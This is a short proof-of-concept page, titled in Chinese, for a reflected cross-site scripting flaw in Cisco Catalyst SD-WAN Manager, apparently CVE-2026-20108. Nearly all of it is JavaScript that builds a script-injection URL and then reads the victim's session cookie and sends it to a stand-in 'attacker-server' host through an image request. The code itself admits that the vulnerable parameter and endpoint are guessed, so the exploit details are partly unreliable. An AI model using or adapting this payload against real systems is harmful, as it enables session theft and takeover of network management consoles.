CVE-2026-20108 Cisco SD-WAN Manager XSS漏洞

// Proof of Concept: Reflected XSS in Cisco Catalyst SD-WAN Manager // Description: This script demonstrates how an attacker might steal cookies via a crafted link. // Usage: Attacker sends the link to a victim; upon clicking, the script executes in the victim's browser context. // Step 1: Prepare the malicious payload var maliciousPayload = "<script>alert('XSS')<\/script>"; // Step 2: Construct the attack URL (Endpoint is hypothetical as specific parameter is not disclosed) // Example: https://[target-ip]/vmanage/ui/login?token=<script>alert(document.cookie)<\/script> // The actual vulnerable parameter would be identified through further analysis. // Step 3: Simulate exploitation logic (JavaScript to be executed on the client side) (function() { // Capture sensitive information var sessionCookie = document.cookie; console.log("Stolen Cookie: " + sessionCookie); // Exfiltrate data to attacker controlled server var exfilUrl = "http://attacker-server/log?c=" + encodeURIComponent(sessionCookie); var img = new Image(); img.src = exfilUrl; })();